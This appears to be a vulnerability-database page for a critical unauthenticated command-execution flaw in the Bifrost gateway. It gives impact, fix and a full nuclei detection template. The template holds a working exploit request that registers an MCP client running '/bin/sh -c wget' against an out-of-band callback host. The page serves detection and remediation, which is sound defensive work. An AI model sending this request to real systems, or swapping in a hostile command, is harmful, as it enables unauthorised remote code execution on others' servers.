HexBrain

Browse / CVEs / CVE-2026-90898

CVE-2026-90898· maximhq / bifrost· CWE-78

Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution

criticalseverity
2.3%likelihood of exploitation, next 30 days
84%of all CVEs are less likely
Readycheck to confirm it

When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.

Impact

An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.

Fix

Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.

How to confirm it

Send: @timeout: 45s
Positive when: status_code == 500 && contains(body, "context deadline exceeded") && contains(interactsh_protocol, "http")

Run it with nuclei: nuclei -id CVE-2026-90898 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2026-90898

info:
  name: Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution
  author: alex700
  severity: critical
  description: |
    When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.
  impact: |
    An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.
  remediation: |
    Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.
  reference:
    - https://github.com/maximhq/bifrost/pull/6757
  classification:
    cve-id: CVE-2026-90898
    epss-score: 0.02311
    epss-percentile: 0.83531
    cwe-id: CWE-78
  metadata:
    max-request: 1
    vendor: maximhq
    product: bifrost
    shodan-query: http.html:"bifrost-shell"
    fofa-query: body="bifrost-shell"
  tags: cve,cve2026,bifrost,rce,oast,intrusive,vkev

variables:
  client_name: "mcpchk_{{rand_text_alpha(10)}}"

http:
  - raw:
      - |
        @timeout: 45s
        POST /api/mcp/client HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"{{client_name}}","connection_type":"stdio","stdio_config":{"command":"/bin/sh","args":["-c","wget -q -O /dev/null http://{{interactsh-url}}/bifrost-90898"]},"tools_to_execute":["*"]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500 && contains(body, "context deadline exceeded") && contains(interactsh_protocol, "http")'

References

Use this check only on systems you are authorised to test. Where the data comes from